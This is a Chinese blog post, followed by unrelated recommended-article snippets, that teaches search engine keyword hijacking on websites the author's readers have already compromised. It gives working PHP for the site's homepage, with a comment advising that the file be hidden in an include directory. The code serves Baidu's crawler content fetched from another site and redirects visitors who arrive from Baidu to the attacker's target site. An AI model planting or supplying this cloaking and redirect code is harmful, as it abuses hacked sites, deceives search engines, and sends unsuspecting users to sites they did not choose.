摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希...

其实原理很简单:
搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:

if(来访者是蜘蛛){
输出指定内容
}
if(用户是从搜索引擎点击进入网站的){
跳转我们希望跳转的站点B
}

所以我们可以达到如下效果:
针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
表达能力有限,说了这么多也不知道大家明白没有。。。
那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。

<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://www.yunsec.net/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('http://www.yunsec.net/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: http://www.yunsec.net/");//跳转
exit;
}
?> 

搜索引擎关键词劫持之php篇(源码与分析)相关推荐

  1. Thinkphp内核SEO按天关键词计费排名查询系统源码

    本资源可免费获取,请至尾部读阅! Thinkphp内核SEO按天关键词计费排名查询系统源码. 功能特点: 1.会员管理: 系统共分三级会员流程.总站管理员, 代理, 和会员(会员分三个等级,普通会员, ...

  2. 抖音账号矩阵系统/抖音seo霸屏系统源码/关键词短视频账号矩阵源码/独立私有部署/可定制开发

    前言:抖音账号矩阵系统/抖音seo霸屏系统源码/关键词短视频账号矩阵源码/独立私有部署/可定制开发 场景:抖音账号矩阵系统/抖音seo霸屏系统/抖音矩阵seo系统源码/独立部署,技术团队如何围绕抖音矩 ...

  3. 我历时3年才写了10余篇源码文章,但收获了100w+阅读

    你好,我是若川.最近来了一些读者朋友,在这里简单介绍自己的经历,也许对你有些启发.之前发过这篇文章,现在修改下声明原创,方便保护版权. 最近组织了源码共读活动1个月,200+人,一起读了4周源码,很多 ...

  4. java技术教程视频_Spring开发视频教程高级篇+源码(400M)33讲

    Spring开发视频教程高级篇+源码(400M)33讲 01_全面阐释Spring及其各项功能.rar 02_搭建与测试Spring的开发环境.rar 03_编码剖析Spring管理Bean的原理.r ...

  5. Mybatis底层原理学习(二):从源码角度分析一次查询操作过程

    在阅读这篇文章之前,建议先阅读一下我之前写的两篇文章,对理解这篇文章很有帮助,特别是Mybatis新手: 写给mybatis小白的入门指南 mybatis底层原理学习(一):SqlSessionFac ...

  6. android view 源码分析,Android ViewPager源码详细分析

    1.问题 由于Android Framework源码很庞大,所以读源码必须带着问题来读!没有问题,创造问题再来读!否则很容易迷失在无数的方法与属性之中,最后无功而返. 那么,关于ViewPager有什 ...

  7. LinkedHashMap 源码详细分析(JDK1.8)

    1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...

  8. 推荐 7 个 Vue2、Vue3 源码解密分析的开源项目

    大家好,我是你们的 猫哥,那个不喜欢吃鱼.又不喜欢喵 的超级猫 ~ 1. 为什么要学习源码 ? 阅读优秀的代码的目的是让我们能够写出优秀的代码. 不给自己设限,不要让你周围人的技术上限成为你的上限.其 ...

  9. Toast源码深度分析

    目录介绍 1.最简单的创建方法 1.1 Toast构造方法 1.2 最简单的创建 1.3 简单改造避免重复创建 1.4 为何会出现内存泄漏 1.5 吐司是系统级别的 2.源码分析 2.1 Toast( ...

最新文章

  1. 台式计算机系统重新安装软件,有人教我重装电脑程序的吗,谢谢了
  2. 《C语言及程序设计》实践参考——水仙花数
  3. 四位共阳极数码管显示函数_Verilog笔记
  4. C语言再学习 -- 字符串和字符串函数
  5. javascript 浮点数加减乘除计算会有问题, 整理了以下代码来规避这个问题
  6. expect 普通用户自动输入密码到root下,执行命令
  7. Vim删除文件到行首或者行尾
  8. 电脑知识:关于电脑的十大误区,原来是这样!
  9. TCP握手为什么需要三次通信
  10. 视频时代的大数据:问题、挑战与解决方案
  11. 基于画像推荐系统设计(离线+实时)
  12. php页面自分页刷新,详解PHP+AJAX无刷新分页实现方法
  13. 8种寻找机器学习数据集的方法 | 附数据集资源
  14. 批量删除redis key
  15. 【优化求解】基于matalb遗传算法求解岛屿物资补给优化问题【含Matlab源码 172期】
  16. 关于最近几次给客户做系统 DEMO的感悟总结
  17. 亲测:优酷下载的会员独享KUX视频快速转换成MP4格式!
  18. Nginx的集群以及负载均衡
  19. Ps 2021教程,如何更换证件照背景?
  20. mysql连接数怎么清理_MySQL连接数太多应该怎么解决?

热门文章

  1. 【MyBatis框架】查询缓存-二级缓存原理
  2. Golang程序性能分析(二)在Echo和Gin框架中使用pprof
  3. 基于Zookeeper实现简易版服务的注册与发现机制
  4. 关于JVM类加载的几个问题
  5. Android Studio 第六十三期 - Android框架 -RecycleView所有用法
  6. C++官方文档-this
  7. AsyncDisplayKit官方文档个人翻译
  8. hbase hbck的参数使用
  9. 《实现模式(修订版)》—第2章模式
  10. 自定义手势--输入法手势技术